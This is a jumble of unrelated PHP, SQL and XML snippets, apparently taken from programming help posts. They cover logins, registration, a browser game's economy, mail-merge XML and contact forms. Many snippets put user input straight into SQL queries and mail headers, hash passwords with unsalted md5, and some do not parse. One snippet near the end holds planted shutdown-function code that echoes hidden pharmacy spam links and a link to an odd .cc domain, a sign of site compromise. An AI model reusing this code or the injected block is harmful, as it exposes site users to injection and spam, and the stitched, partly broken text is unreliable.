<?php
    if($_POST) {
        $dbhost = '*****';
        $dbuser = '*****';
        $dbpass = '*****';
        $dbname = '*****';
        $username = $_POST['username'];
        $password = $_POST['password'];        
        $conn = mysql_connect($dbhost,$dbuser,$dbpass)
            or die ('Error connecting to mysql');
        mysql_select_db($dbname);
        $query = sprintf("SELECT COUNT(id) FROM users WHERE UPPER(username) = UPPER('%s') AND password='%s'",
            mysql_real_escape_string($username),
            mysql_real_escape_string(md5($password)));
        $result = mysql_query($query);
        list($count) = mysql_fetch_row($result);
        if($count == 1) {
        session_start();
            $_SESSION['authenticated'] = true;
            $_SESSION['username'] = $username;
            $query = sprintf("UPDATE users SET last_login = NOW() WHERE UPPER(username) = UPPER('%s') AND password = '%s'",
                mysql_real_escape_string($username),
                mysql_real_escape_string(md5($password)));
            mysql_query($query);
            $query = sprintf("SELECT is_admin FROM users WHERE UPPER(username) = UPPER('%s') AND password='%s'",
                mysql_real_escape_string($username),
                mysql_real_escape_string(md5($password)));
            $result = mysql_query($query);
            list($is_admin) = mysql_fetch_row($result);
            if($is_admin == 1) {
                header('Location:admin.php');            
            } else {
                header('Location:game.php');                
            }
        } else {    ?>
<span style='color:red'>Error: that username and password combination does not match any currently within our database.</span>
<?php    }
    }
?>
<form action='login.php' method='post'>
Username: <input type='text' name='username' /><br />
Password: <input type='password' name='password' /><br />
<input type='submit' value='Login' />
</form>

<?php
$username = 'username';
$password = 'password';
$url = 'domain.com';
$year = date('Y'); /* replace with 4 digit year */

$url = "http://".$username.":".$password."@".$url.":2082/awstats.pl?month=01&year=".$year."&config=".$url."&lang=en&framename=mainright&output=main";

$buffer = file_get_contents($url);
$buffer = strip_tags($buffer,"<tr><td>");

$regex = "{<tr><td>[0-9A-Za-z\s]*</td><td>([0-9]*)</td><td>([0-9]*)</td><td>([0-9]*)</td><td>([0-9]*)</td><td>([0-9A-Z\.\s]*)</td></tr>\n}";
preg_match_all($regex,$buffer,$matches);
print_r($matches[1]);
?>

Array ( [0] => 0 [1] => 0 [2] => 0 [3] => 0 [4] => 0 [5] => 0 [6] => 3 [7] => 265 [8] => 198 [9] => 345 [10] => 201 [11] => 0 )

    <?php
        
        $data = mysql_query ("SELECT * FROM ***** WHERE ref='001'");
        while($info = mysql_fetch_array($data)) {  
        
    // data
        $url='/random/0345gdfg/filters/'.$info['url'];
        $addstats='/random/0345gdfg/filters/'.$info['urla'];
        
?>

        <table border="1" cellpadding="5" cellspacing="0" width="50%" align="center">
        
        <tr>
        <td width='60%' bgcolor='silver'><a href="<?php echo $url;?>"><?php echo $info['filter']; ?></a></td>
        <td width='40%'><?php include($addstats);?></td>
        </tr></table>

<?php
}  
?>

<?php include($_SERVER['DOCUMENT_ROOT'].'/random/0345gdfg/*****.php');?>

<table border="0" cellpadding="2" cellspacing="0" width="100%">            
                    
        <td width="25%"><?php
            $query = "SELECT SUM(profit) FROM *****";
        
            $result = mysql_query($query) or die(mysql_error());

        // Print out result
            while($row = mysql_fetch_array($result)){
            echo $row['SUM(profit)'];
        echo "<br />";
    }
    ?></td>
    
    
        <td width="25%"><?php
        $query = "SELECT COUNT(horse) FROM ***** WHERE pos ='1'";
    
        $result = mysql_query($query) or die(mysql_error());

    // Print out result
        while($row = mysql_fetch_array($result)){
        echo $row['COUNT(horse)'];
        echo $row['type'];
        echo "<br />";
        }
        ?></td>
        
        
        <td width="25%"><?php
        $query = "SELECT COUNT(horse) FROM *****";
    
        $result = mysql_query($query) or die(mysql_error());

    // Print out result
        while($row = mysql_fetch_array($result)){
        echo "Number of qualifers:". $row['COUNT(horse)'] ." ". $row['type'] ."";
        echo "<br />";
}
?></td>
    </tr>
</table>

<?php
include ('______');
?>

<html>
<p>
<form method='POST'>
Number: <input size="3" maxlength="4" value="0" name="train_s">
<input name="train" type="submit" value="Train">
</form>

<form method='POST'>
Number: <input size="3" maxlength="4" value="0" name="untrain_s">
<input name="untrain" type="submit" value="Untrain">
</form>
</html>


<?php

//now for the PHP part
//first if train button is pressed
if ($_POST['train']) {


$train_s = strip_tags(addslashes($_POST['train_s'])); //number of soldiers trained

//we check if it is numeric and positive
if (!is_numeric($train_s)) { die("Wrong input!"); }
if ($train_s < 0) { die("Wrong input!"); }

//we check if we have enough money
$train_money = 100;

if ($username[money] < $train_money) { die("Not enough money to train so many units!"); }

//if script got it to this point it was all ok so we can update
mysql_query("UPDATE `castle wars users` SET money=money-'$train_money', units=units+'$train_s' WHERE id='$username[id]'");
}

//we now make script which will run if we press Untrain button
if ($_POST['untrain']) {
$untrain_s = strip_tags(addslashes($_POST['untrain_s'])); //number of soldiers trained

//we check if it is numeric and positive
if (!is_numeric($untrain_s)) { die("Wrong input!"); }
if ($untrain_s < 0) { die("Wrong input!"); }

//we check if user has enough units to untrain
if ($username['units'] < $untrain_s) { die("You cannot untrain so many units!"); }

//if script got it to this point it was all ok so we can update, but first calculate amount of gained money
$gain_money = $untrain_s * 50;

//we update, so we add money gained because of untraining units, and change number of units
mysql_query("UPDATE `castle wars users` SET money=money+'$gain_money', units=units-'$train_s' WHERE id='$username[id]'");
}

?>

The following error occured on /upload.php . 2 move_uploaded_file() : SAFE MODE Restriction in effect.

<head>
    <title>
        Blog
    </title>

    <link rel="stylesheet" href="blog.css" type="text/css">

</head>
<body>
<div id="calender">
<?php

if(isset($_GET['y']) and $_GET['y'] != ""){
    $year = $_GET['y'];
}else{
    $year = date("Y");
}

if(isset($_GET['m']) and $_GET['m'] != ""){
    $month = $_GET['m'];
}else{
    $month = date("m");
}

if(isset($_GET['d']) and $_GET['d'] != ""){
    $selected = $_GET['d'];
}else{
    $selected = date("d");
}

$day = date("d");
$day--;

$numberofdays = cal_days_in_month(CAL_GREGORIAN, $month, $year);

$countingdays = 0;
while($numberofdays != $countingdays){
    
    if($countingdays == $day and date("Ym") == $year.$month){
        $class = "today";
    }else if($countingdays < $day and date("Ym") >= $year.$month){
        $class = "pastdays";
    }else if(date("Ym") <= $year.$month){
        $class = "comingdays";
    }
    
    $countingdays++;
    if($countingdays == $selected){
        $class = $class." selected";
    }
    echo "<a class=\"".$class."\" href=\"?y=".$year."&m=".$month."&d=".$countingdays."\" />".$countingdays."</a>";
}
?>
</div>
</body>

if($countingdays == $selected){
    $class = $class." selected";
}

SELECT firstName, lastName FROM users WHERE firstName = '$refFirstName' && lastName = '$refLastName';

<Header Organisation_Name="XXXXXXX" Run_Date="20090127" Run_UserId="PJ421" Version="18">
    <NoticeRun Id="81" Run_Name="Journals 7928,7957,8058,8067" Issue_Date="20090129" No_of_Notices="122">
        <InstalmentPlan Name="Supp Levies Jan09" Discount_Date_1="20090302" Discount_Percent_1="10.00">
            <Instalment Number="1" Due_Date="20090302" />
        </InstalmentPlan>
        <Group Name="{Ungrouped}" />
    </NoticeRun>
</Header>

<Notice Id="199187" Sequence="1" Amount="2495.69" Discount_Amount_1="0.00" Discounted_Amount_1="2495.69">
    <FormattedNameAddr Line1="XXXXXXXXXXXXXXXX" Line2="XXXXXXXXXXXXXXXXX" Line3="XXXXXXXXXXXXXXXX" Line4="XXXXXXXXXXXXX"/>
    <Assessments>
        <Assessment Id="XXXXX" Is_Duplicate_Notice="0">
            <Valuation Type_5="UCV07" Valuation_5="26728" Date_of_Valuation="20061001" Issue_Date="20080311"/>
            <Balances>
                <Balance Levy_Name="General Rate 19 Comm Title Inv" Levy_Code="04R13" Display_Seq="1" Arrears_Balance="786.81"/>
            </Balances>
            <Levies>
                <Levy Charge_Date="20081219" Levy_Name="Legal Costs" Base_Amount="524.27"/>
            </Levies>
        </Assessment>
    </Assessments>
</Notice>

$doc = new DOMDocument('1.0');
$doc->formatOutput = true;
$doc->load('test.xml');

$sql = "SELECT BSPKey, Barcode, Notice_ID, Postcode FROM MailMerge ORDER BY BSPKey, Postcode";
$result = odbc_exec($dbcnx, $sql);
while ($row = odbc_fetch_array($result)) {
    $BSPKey = $row['BSPKey'];
    $Barcode = $row['Barcode'];
    $Notice_ID = $row['Notice_ID'];
    $xml = new SimpleXMLElement("notices\\$Notice_ID".".xml", null, true);
    $xml->FormattedNameAddr->addAttribute("BSPKey", "$BSPKey");
    $xml->FormattedNameAddr->addAttribute("Barcode", "$Barcode");
    $domnode = dom_import_simplexml($xml);
    $domnode = $doc->importNode($domnode, true);
//    $doc->firstChild->appendChild($domnode); //This inserts the nodes as children of <Header>
//    $doc->appendChild($domnode); //This inserts the nodes after </Header>
    $doc->Header->NoticeRun->Group->appendChild($domnode); //This returns error "Fatal error: Call to a member function appendChild() on a non-object"
}

echo $doc->saveXML();

try {
    $client = new SoapClient("my.wsdl");
    $result = $client->func($params);
}
catch (SoapFault $fault) {
    $code = $fault->faultcode;
    $message = $fault->getMessage();
}

<?php
$db = mysql_connect("localhost","Austin","password");
mysql_select_db("school");
$pname = $_REQUEST['pname'];
$pdesc = $_REQUEST['pdesc'];
$ftype = $_FILES['pfile']['type'];
$fname = $_FILES['pfile']['name'];
if ($_FILES['pfile']['size'] <= $_REQUEST['MAX_FILE_SIZE'])
{
$fdata = fread(fopen($_FILES['pfile']['tmp_name'], "rb"),$_FILES['pfile']['size']);

$fdata = base64_encode($fdata);
$sql = "INSERT INTO pictures “;
$sql .= “(poster_name,pdesc,ftype,fname,fdata) VALUES “;
$sql .= “(\"${pname}\",\"${pdesc}\",”;
$sql .= “\"${ftype}\",\"${fname}\",\"${fdata}\")";
$query = mysql_query($sql) or die(mysql_error());
echo "File Uploaded!";
} else
echo "File Too Large";
?>

if ($num_rows == 0) {
     $query = "INSERT INTO VistngIPs (addy_id, count_em, site, referingURL, Name) VALUES  ('".$ip."','1','".$site."','".$referingURL."','".$Name."')";
     $result = mysql_query($query) or die('Query failed: ' . mysql_error());
    }

<?php
$a=array(0=>array('cat_id'=>17,'cat_parentid'=>10,'cat_name'=>'mercedes'),1=>array('cat_id'=>12,'cat_parentid'=>14,'cat_name'=>'volvo'),2=>array('cat_id'=>16,'cat_parentid'=>11,'cat_name'=>'zen'));
print_r($a);
echo "<hr>";
array_multisort($a);
print_r($a);
?>

<?php

$to=$_POST["to"];
$from=$_POST["from"];
$name=$_POST["name"];
$subject=$_POST["subject"];
$message=$_POST["message"];

$headers = "From: \"$name\" <$from>\nContent-Type: text/html; charset=iso-8859-1";
$ret=mail("$to", "$subject", "$message", "$headers");

if($ret==true)
echo"Mail sent Successfully";
else
echo"Unable to Send mail";

?>

preg_replace("/(<\/?)(\w+)([^>]*>)/e", "'\\1'.strtoupper('\\2').'\\3'",  $html_body);

<?php

include('_______');


//calculate money needed for next level of bank upgrade (php part of file)
$need_money = 500;
?>

<form>
Bank level: <?php echo $username['bank'];?> <br>
Next level: <input type="submit" value="<?php echo number_format($need_money);?> money" name="upgradebank">
</form>

<?php

//now we create another php part of this file
if ($_POST['upgradebank']) {

//we check if user has enough money to upgrade bank
if ($username['money'] != $need_money) {

//we use die function to stop script execution and to show message what is wrong
die("You don't have enough money to upgrade Bank!");
}

//everything is OK, we update our user table
mysql_query("UPDATE `castle wars users` SET money=money-'$need_money', bank=bank+'1' WHERE id='$username[id]'") or die(mysql_error());

}

?>

<?php

session_start();

$user = $_SESSION['username'];

//open my database
$connect = mysql_connect('_______', '___', '____') or die('Couldn\'t connect!');
mysql_select_db('__________');


$query = mysql_query("SELECT * FROM `castle wars users` WHERE username = '$user'");


$username = mysql_fetch_array($query);


echo 'Logged user has: '.$username['money'].' money';


//money amount to add for each round
$add_money = 1;

//time now, and round time in seconds (1h=60*60seconds=3600)
$time_now = time();
$round = 3600;

//time of last update+time needed must be smaller then time now to update
if (($username['lastupdate']+$round) <= $time_now) {

//see how many rounds (hours) were there from last update
$nr_rounds = floor(($time_now-$username['lastupdate'])/$round);

//calculate how much money user gained
$all_money = $nr_rounds * $add_money;

//calculate how many rounds in seconds (how many hours in seconds)
$add_time = $nr_rounds * $round;

//lets update users table
mysql_query("UPDATE `castle wars users` SET lastupdate=lastupdate+'$add_time', money=money+'$all_money' WHERE id
= '$username[id]'") or die(mysql_error());

//here you can refresh page (so you can see progress) or select user again using login
}


?>

<?php

$params->ID = "27";
$ppl = "http://dbf065:8080/MapKeywordRecommender?wsdl";
$pplRequest = new SoapClient($ppl);
$result = $pplRequest->getRecommendedKeywords($params);
print_r($result);

?>

<Stuff>
    <Sec>
        <Program>abc 123</Program>
    </Sec>
</Stuff>

    $Section="Sec";
    $Page="Program";
echo $xml->$Section->Program;        // Works for some reason.

echo $xml->$Section->$Page;        // With a 2nd variable, wont work.

<?php

$date = new DateTime('next Thursday');
echo $date->format('l, F jS, Y');

?>

<?php

echo "<h1>Register</h1>";

$submit = $_POST['submit'];

//form data
$firstname = strip_tags($_POST['firstname']);
$username = strtolower(strip_tags($_POST['username']));
$password = strip_tags($_POST['password']);
$repeatpassword = strip_tags($_POST['repeatpassword']);
$date = date("Y-m-d");
$emailaddress = strip_tags($_POST['emailaddress']);


if ($submit)
{

//open my database
$connect = mysql_connect('_____', '_____', '_____') or die('Couldn\'t connect!');
mysql_select_db('______');

$namecheck = mysql_query("SELECT username FROM users WHERE username='$username'");
$count = mysql_num_rows($namecheck);

if ($count!=0)
{
echo "Username already taken.";
}
else


//check for existence
if ($firstname&&$username&&$password&&$repeatpassword)
{

if ($password==$repeatpassword)
{

//check username and first name length
if (strlen($username)>25||strlen($firstname)>25)

{
echo "Max characters for first name and username is 25.";
}
else
{
//check password length
if (strlen($password)>25||strlen($password)<6)
{
echo "Password must be within 6-25 characters";
}
else
{
//register the user

//encrypt passwords
$password = md5($password);
$repeatpassword = md5($repeatpassword);

//generate random for activation process
$random = rand("12345678,8765432");


$queryreg = mysql_query("

INSERT INTO users VALUES ('','$firstname','$username','$password','$emailaddress','$date','$random','0')

");

$lastid = mysql_insert_id();

//send activation email

$to = $emailaddress;
$subject = "Activate your account";
$headers = "From: kirbyfrogfan@gmail.com";

$body = "Hello $firstname.\n\n

Thank you for registering on url.com.

In order to log in and play, please click on the link below to activate your account.

http://kirbyweb.byethost5.com/activated.php?id=$id&code=$random\n\n

Thank you.

";

//function to send email

mail($to, $subject, $body, $headers);

die("You have been registered! Please check your email to activate your account. <a href='index.php'>Return to home</a>");

}
}


}
else
echo "Your passwords do not match.";


}
else echo "Please fill in all fields.";

}

?>


<html>
<p>

<form action='register.php' method='POST'>

<table>

<tr>

<td>

Your first name:

</td>

<td>

<input type='text' name='firstname' value='<?php if ((strlen($firstname)<6)||(strlen($firstname)>25)){echo "";}else {echo $firstname;}?>'>

</td>

</tr>


<tr>

<td>

Choose a username:

</td>

<td>

<input type='text' name='username' value='<?php if ((strlen($username)<6)||(strlen($username)>25)){echo "";}else {echo $username;}?>'>

</td>

</tr>


<tr>

<td>

Choose a password:

</td>

<td>

<input type='password' name='password'>

</td>

</tr>


<tr>

<td>

Repeat password:

</td>

<td>

<input type='password' name='repeatpassword'>

</td>

</tr>

<tr>

<td>

Email address:

</td>

<td>

<input type='text' name='emailaddress'>

</td>

</tr>

</table>

<p>
<input type='submit' name='submit' value='register'>

</form>

</html>

<?php

class headers {
function startheaders() {
global $ir, $set;
echo <<<EOF
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>{$set['game_name']}</title>
<style type="text/css">
<!--
body {
background-color: #000000;
background-image:url();
margin-top: 0px;
margin-bottom: 0px;
font-family:Palatino Linotype;font-size:12px;color: white;
   scrollbar-base-color: white;
   scrollbar-arrow-color: black;
   scrollbar-DarkShadow-Color: black;
}
a:visited,a:active,a:link { color:#F5D04C;text-decoration: none; }
a:hover { color: silver;text-decoration: overline underline;background: none; }
table,tr,td { font-family:Palatino Linotype;font-size: 12px; }
.button
{
font-family:Palatino Linotype;
font-size:16;
color:#000000;
background-color: black;
}
input,textarea,dropdown{
font-family:Palatino Linotype;
font-size:12;
color:#000000;
background-color: white;
}
..submit{
font-family:Palatino Linotype;
font-size:12;
color:#000000;
background-color: white;
}
img { border:none; }
textarea { font-family:Palatino Linotype;font-size:12px;color: black; }
.table2 {
}
.lgrad {
background-color:#000000
background-repeat:repeat-y;
width:19px;
}
.linegrad {
background-color:#000000
background-repeat:repeat-y;
background-align: center;
width:2px;
}
.rgrad {
background-color:#000000
background-repeat:repeat-y;
width:19px;
}
.dgrad {
background-color:#000000
background-repeat:repeat-x;
height:38px;
}
.dgradl {
background-color:#000000
background-repeat:no-repeat;
height:38px;
width:38px;
}
.dgradr {
background-color:#000000
background-repeat:no-repeat;
height:38px;
width:38px;
}
.center {
width:932px;
// background-color:#000000;
background-color:#000000;
vertical-align:top;
text-align:center;
}
.table {
background-color:#000000;
}
.table3 {
background-color:#000000;
}
.table td {
background-color:#000000;
height:22px;
}
.table3 td {
background-color:#000000;
}
td .alt {
background-color:#000000;
height:22px;
}
td .h {
background-image:url();
background-repeat:repeat-x;
font-weight: bold;
background-color: #000000;
}
.table th {
background-image:url();
background-repeat:repeat-x;
font-weight: bold;
background-color: #000000;
}
-->
</style></head>
<body>
<center>
<table width="970" border="0" cellpadding="0" cellspacing="0" class="table2">
<tr>
<td class="lgrad"></td>
<td class="center">
EOF;
}
function userdata($ir,$lv,$fm,$cm,$dosessh=1)
{
global $db,$c,$userid, $set;
$IP = ($_SERVER['HTTP_X_FORWARDED_FOR'])
    ?  $_SERVER['HTTP_X_FORWARDED_FOR']
    :  $_SERVER['REMOTE_ADDR'];
$db->query("UPDATE users SET laston=unix_timestamp(),lastip='$IP' WHERE userid=$userid");
if(!$ir['email'])
{
global $domain;
die ("<body>Your account may be broken. Please mail help@{$domain} stating your username and player ID.");
}
if($dosessh && ($_SESSION['attacking'] || $ir['attacking']))
{
print "You lost all your EXP for running from the fight.";
$db->query("UPDATE users SET exp=0,attacking=0 WHERE userid=$userid");
$_SESSION['attacking']=0;
}
$enperc=(int) ($ir['energy']/$ir['maxenergy']*100);
$wiperc=(int) ($ir['will']/$ir['maxwill']*100);
$experc=(int) ( $ir['exp']/$ir['exp_needed']*100);
$brperc=(int) ($ir['brave']/$ir['maxbrave']*100);
$hpperc=(int) ($ir['hp']/$ir['maxhp']*100);
$enopp=100-$enperc;
$wiopp=100-$wiperc;
$exopp=100-$experc;
$bropp=100-$brperc;
$hpopp=100-$hpperc;
$d="";
$u=$ir['username'];
if($ir['donatordays']) { $u = "<font color=red>{$ir['username']}</font>";$d="<img src='donator.gif' alt='Donator: {$ir['donatordays']} Days Left' title='Donator: {$ir['donatordays']} Days Left' />"; }

$gn="";
global $staffpage;

$bgcolor = '#000000';

print <<<OUT
<img src="//Add your top banner url here" alt="Godfather" /><br />
<size=12><u><a href='donator.php'>Donate To Game For Game Benefits</a></u></size><br />
<!-- Begin Main Content -->
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="20%" bgcolor="#030303" valign="top">
<!-- Side Panel -->

<b>Name:</b> $gn{$u} [{$ir['userid']}] $d<br />
<b>Money:</b> {$fm}<br />
<b>Level:</b> {$ir['level']}<br />
<b>Crystals:</b> {$ir['crystals']}<br />
[<a href='logout.php'>Emergency   Logout</a>]
[<a href='voting.php'>Vote</a>]
<hr />
<b>Energy:</b> {$enperc}%<br />
<img src=greenbar.png width=$enperc height=10><img src=redbar.png width=$enopp height=10><br />
<b>Will:</b> {$wiperc}%<br />
<img src=bluebar.png width=$wiperc height=10><img src=redbar.png width=$wiopp height=10><br />
<b>Brave:</b> {$ir['brave']}/{$ir['maxbrave']}<br />
<img src=yellowbar.png width=$brperc height=10><img src=redbar.png width=$bropp height=10><br />
<b>EXP:</b> {$experc}%<br />
<img src=navybar.png width=$experc height=10><img src=redbar.png width=$exopp height=10><br />
<b>Health:</b> {$hpperc}%<br />
<img src=greenbar.png width=$hpperc height=10><img src=redbar.png width=$hpopp height=10><br /><hr />

<!-- Links -->
OUT;

if($ir['fedjail'])
{
$q=$db->query("SELECT * FROM fedjail WHERE fed_userid=$userid");
$r=$db->fetch_row($q);
die("<b><font color=red size=+1>You have been put in the {$set['game_name']} Federal Jail for {$r['fed_days']} day(s).<br />
Reason: {$r['fed_reason']}</font></b></body></html>");
}
if(file_exists('ipbans/'.$IP))
{
die("<b><font color=red size=+1>Your IP has been banned from {$set['game_name']}, there is no way around this.</font></b></body></html>");
}
}
function menuarea()
{
include "mainmenu.php";
global $ir,$c;
$bgcolor = '#000000';
print '</td><td width="2" class="linegrad" bgcolor="#B03060'.$bgcolor.'"> </td><td width="80%"  bgcolor="#'.$bgcolor.'" valign="top"><br /><center>';
if($ir['hospital'])
{
  print "<b>NB:</b> You are currently in hospital for {$ir['hospital']} minutes.<br />";
}
if($ir['jail'])
{
  print "<b>NB:</b> You are currently in jail for {$ir['jail']} minutes.<br />";
}
}
function smenuarea()
{
include "smenu.php";
global $ir,$c;
$bgcolor ='#000000';
print '</td><td width="2" class="linegrad" bgcolor="#000000'.$bgcolor.'"> </td><td width="80%"  bgcolor="#'.$bgcolor.'" valign="top"><center>';
}
function endpage()
{
global $db;
print <<<OUT
</center>
</td>
</tr>
</table></td>
<td class="rgrad"></td>
</tr>
<tr>
<td colspan="3">
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td class="dgradl"> </td>
<td class="dgrad"> </td>
<td class="dgradr"> </td>
</tr>
</table>
</td>
</tr>
</table>
{$db->num_queries} queries</body>
</html>
OUT;
}
}
?>

<?php

session_start();

if (isset($_POST['username']) and isset($_POST['password'])) {

  $connect = mysql_connect('_____.byethost5.com', '_____', '_____') or die('Couldn\'t connect!');
  mysql_select_db('__________') or die('Couldn\'t find db');



  $username = mysql_real_escape_string($_POST['username']);
  $password = mysql_real_escape_string($_POST['password']);
  $activated = [activated];

  if ($activated=='0')
  
{
     die("Your account is not yet activated. Please check your email.");
     exit();
}

$password = md5($password);

  $query = mysql_query("SELECT * FROM users WHERE username = '$username' AND password = '$password'");

  if (mysql_num_rows($query) == 1) {
    echo 'You\'re in! <a href="member.php">Click Here</a>';
    $_SESSION['username']=$username;
  } else echo 'Incorrect username/password!';
} else die('User/pass not POSTed!');

?>

$aaa = array("something", "something else");
echo($aaa);

...
<?php @register_shutdown_function("__sfd1256198085__");function __sfd1256198085__() { global $__sdv1256198085__; if (!empty($__sdv1256198085__)) return; $__sdv1256198085__=1; echo <<<DOC__DOC
<!-- [0357296b56fd5c65b7e82ac1abb04107 --><!-- 5808916521 --><div id="block7" style="display:none"><ul><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=1481">chloroquine usa and canada</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=2936">order chloroquine overnight without prescription</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=1044">anti malarial tablets aralen</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=188">cheap chloroquine no rx</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=3507">order cialis soft without prescription</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=1755">how to get cialis soft</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=948">buy cialis soft online</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=936">cialis soft usa and canada</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=1903">cialis soft tab discount generic</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=443">cialis soft tab</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=3650">buying cialis soft online without prescription</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=693">buy cialis soft overnight shipping</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=949">cialis soft drug generic</a></li> ... <li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=2886">online glucophage order</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=3540">order glipizide sr cash on delivery</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=3983">glucotrol for sale online</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=3584">where can i buy glucotrol without a prescription</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=2617">order glipizide sr without prescription</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=1886">purchase glucotrol without prescription</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=1447">order glucotrol overnight without prescription</a></li><li><a href="http://astronomy2009.ie/faq.php?shop_cat=1&tablet=1920">glucotrol xl without a prescription</a></li></ul><a url="java script:document.getElementById('block7').style.display='block';">show</a></div><!-- 0357296b56fd5c65b7e82ac1abb04107] -->
DOC__DOC;
} ?>
<?php @register_shutdown_function("__sfd1255552743__");function __sfd1255552743__() { global $__sdv1255552743__; if (!empty($__sdv1255552743__)) return; $__sdv1255552743__=1; echo <<<DOC__DOC
<!-- [5f450d6036674811393fc8f4819a24fe --><!-- 3472555521 --><a url="java script:document.getElementById('block86').style.display='block';" title="more"> </a>
<!-- 5f450d6036674811393fc8f4819a24fe] -->
DOC__DOC;
} ?>
<?php @register_shutdown_function("__sfd1254818713__");function __sfd1254818713__() { global $__sdv1254818713__; if (!empty($__sdv1254818713__)) return; $__sdv1254818713__=1; echo <<<DOC__DOC
<!-- [c93f87702ce98115cff818490aecc712 --><!-- 3178184521 --><div style="overflow:auto; visibility:hidden; height: 1px; "><ul><li><a href="http://rtbi30h3h34h34.cc/1">.</a></li></ul></div><!-- c93f87702ce98115cff818490aecc712] -->
DOC__DOC;
} ?>
<?php require("/home/ledger6/public_html/Resources/Includes/header.php"); ?>
...

<?php
function spamcheck($field)
{
//filter_var() sanitizes the e-mail
//address using FILTER_SANITIZE_EMAIL
$field=filter_var($field, FILTER_SANITIZE_EMAIL);

//filter_var() validates the e-mail
//address using FILTER_VALIDATE_EMAIL
if(filter_var($field, FILTER_VALIDATE_EMAIL))
{
return TRUE;
}
else
{
return FALSE;
}
}

if (isset($_REQUEST['email']))
{//if "email" is filled out, proceed

//check if the email address is invalid
$mailcheck = spamcheck($_REQUEST['email']);
if ($mailcheck==FALSE)
{
echo "Invalid input";
}
else
{//send email
$email = $_REQUEST['email'] ;
$subject = $_REQUEST['subject'] ;
$message = $_REQUEST['message'] ;
mail("an_email@domain.com", "$subject",
$message, "From: $email" );
echo "Thank you for your submission";
}
}
else
{//if "email" is not filled out, display the form
echo "<form method='post' action='/Contact/support.php'>
Email: <input name='email' type='text' /><br />
Subject:
<select name='subject'>
<option value='FAQ Submission'>FAQ Submission</option>
<option value='Recipe Submission'>Recipe Submission</option>
</select>
<br />
Message:<br />
<textarea name='message' rows='15' cols='40'>
</textarea><br />
<input type='submit' value='Send Message'/>
</form>

ALTER PROCEDURE [dbo].[GetActivePeriod]
AS

SELECT  w.WorkKeeper, SUM (DATEDIFF (ss, a.ProcessDate, MIN(b.ProcessDate) ) ) AS 'ActivePeriod'

FROM Work w, ProcessLog a INNER JOIN ProcessLog b ON (b.ProcessId > a.ProcessId AND b.WorkId=a.WorkId)

WHERE CONVERT( varchar(10), a.ProcessDate, 111) = CONVERT( varchar(10), GETDATE(), 111)
AND CONVERT( varchar(10), b.ProcessDate, 111) = CONVERT( varchar(10), GETDATE(), 111)
AND a.ProcessNum=1
AND ( b.ProcessNum=2 OR b.ProcessNum=4 OR b.ProcessNum=5 OR b.ProcessNum=6 )
AND w.WorkId=a.WorkId

GROUP BY w.WorkKeeper

if (file_exists("D:/website/account/leden/" . $name_old))
      rename("D:/website/account/leden/" . $name_old,"D:/website/account/leden/" . $name_new);

<?php
<td class="dr" colspan="10"> <div id="details"> </div> </td>
?>

<?php
<td class="dr" colspan="10"> <div id="details"> xxxxxxx </div> </td>
?>

<?php
while ($row = mysql_fetch_array($res))
        {
            if ($row['actief'] == "ja")
            {
            echo
                '<tr onmouseover="this.className=\'dr_highlight\'" onmouseout="this.className=\'dr\'" onclick="showDetails('.$row['id'].')" class="dr">
                <td><a href=adres_edit.php?id='.$row['id'].' title="Bewerk item"><img border="0" src="images/icon/edit.png"</a>  <a href=contactpersoon.php?id='.$row['id'].' title="Bekijk contactpersonen"><img border="0" src="images/icon/contacts.png"</a></td>
                <td>'. htmlentities( $row['klantnaam'] ).'</td>';
            if ($row['aflever_adres']==$row['adres'])
            echo
                '<td width="150">'.$row['aflever_adres'].'</td>';
            else
            echo
                '<td width="150">'.$row['aflever_adres'].' <br /> '.$row['adres'].'</td>';
                
            if ($row['aflever_postcode']==$row['postcode'])
            echo
                '<td>'.$row['aflever_postcode'].'</td>';
            else
            echo
                '<td>'.$row['aflever_postcode'].' <br /> '.$row['postcode'].'</td>';
            
            if ($row['aflever_plaats']==$row['plaats'])
            echo
                '<td>'. htmlentities( $row['aflever_plaats'] ).'</td>';
            else
            echo
                '<td>'. htmlentities( $row['aflever_plaats'] ).' <br /> '. htmlentities( $row['plaats'] ).'</td>';
            
            if ($row['aflever_land']==$row['land'])
            echo
                '<td>'. htmlentities( $row['aflever_land'] ).'</td>';
            else
            echo
                '<td>'. htmlentities( $row['aflever_land'] ).' <br /> '. htmlentities( $row['land'] ).'</td>';
            echo
                '<td width="125">'.$row['tel'].'</td>
                <td width="125">'.$row['fax'].'</td>
                <td><a href="mailto:'.$row['email'].'" title="Verstuur e-mail">'.$row['email'].'</a></td>
                <td><a href="'.$row['www'].'" title="Bezoek website" target="_blank">'.$row['www'].'</a></td>
                <td>'.$row['betalingstermijn'].'</td>
            </tr>
            <tr>
                <td class="dr"></td>
                <td class="dr" colspan="10"> <div id="details"> </div> </td>
            </tr>';
            }
            else
